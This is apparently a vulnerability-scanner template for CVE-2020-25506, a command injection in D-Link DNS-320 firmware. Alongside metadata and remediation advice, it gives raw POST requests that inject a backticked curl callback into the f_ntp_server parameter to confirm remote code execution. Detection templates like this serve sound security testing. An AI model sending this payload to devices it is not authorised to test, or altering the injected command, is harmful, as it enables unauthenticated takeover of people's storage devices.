id: CVE-2020-25506 info: name: D-Link DNS-320 - Unauthenticated Remote Code Execution author: gy741 severity: critical description: D-Link DNS-320 FW v2.06B01 Revision Ax is susceptible to a command injection vulnerability in a system_mgr.cgi component. The component does not successfully sanitize the value of the HTTP parameters f_ntp_server, which in turn leads to arbitrary command execution. remediation: | Apply the latest firmware update provided by D-Link to mitigate this vulnerability. reference: - https://gist.github.com/WinMin/6f63fd1ae95977e0e2d49bd4b5f00675 - https://unit42.paloaltonetworks.com/mirai-variant-iot-vulnerabilities/ - https://nvd.nist.gov/vuln/detail/CVE-2020-25506 - https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10183 - https://www.dlink.com/en/security-bulletin/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2020-25506 cwe-id: CWE-78 epss-score: 0.97435 epss-percentile: 0.99925 cpe: cpe:2.3:o:dlink:dns-320_firmware:2.06b01:*:*:*:*:*:*:* metadata: max-request: 2 vendor: dlink product: dns-320_firmware tags: cve,cve2020,dlink,rce,oast,mirai,unauth,router,kev variables: useragent: '{{rand_base(6)}}' http: - raw: - | POST /cgi-bin/system_mgr.cgi? HTTP/1.1 Host: {{Hostname}} Accept: */* C1=ON&cmd=cgi_ntp_time&f_ntp_server=`curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'` - | POST /cgi-bin/system_mgr.cgi?C1=ON&cmd=cgi_ntp_time&f_ntp_server=`curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'` HTTP/1.1 Host: {{Hostname}} Accept: */* matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms the HTTP Interaction words: - "http" - type: word part: interactsh_request words: - "User-Agent: {{useragent}}"